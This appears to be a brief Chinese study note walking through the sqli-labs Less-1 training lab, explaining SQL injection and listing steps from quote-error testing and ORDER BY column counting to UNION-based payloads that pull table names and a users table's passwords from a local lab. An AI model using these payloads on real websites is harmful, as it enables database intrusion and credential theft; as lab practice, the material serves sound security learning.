草草写的一篇记录文章
概念
SQL注入就是将恶意代码拼接到业务正常的数据库查询,造成数据库信息泄露等危害。
我觉得
要弄懂SQL注入,需要一点计网的知识,最好知道Web开发的整个流程,中间用了哪些技术,为什么需要这种技术。当然,你首先得懂得数据库以及SQL查询,并且程序设计语言和SQL语言之间的结合(推荐一本书《数据库系统概论》)。有了这些基础,SQL注入就自然而然会懂的。
通关思路
输入id,登录正常
尝试闭合语句
单引号报错,推测后端查询语句为:
select * from table where id = ’ input ’
通过order by 枚举,可知字段数为3
由于回显信息较多,优先联合注入
由上图可知,第2、第3个字段为回显信息,故可构造payload,开始注入
库名:
表名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
字段名:
字段内容:
union select 1,2,group_concat(users,0x7e,password) from users --+
看过几篇教程做题时的记录
1、输入不同id,有不同回显结果,猜测后台sql语句为:select * from table where id= input;
2、单引号测试,报错,推测后台sql语句为:select * from table where id = ‘input’;
3、构造语句,单引号闭合,order by 4出错 ---->3列字段,select 1,2,3,–>回显位置;
4、联合注入: union select 1,2,(构造语句查询信息)–+
1.找漏洞
2.猜解字段数
3.获取数据库名字
4.查表
5.查字段名和字段数值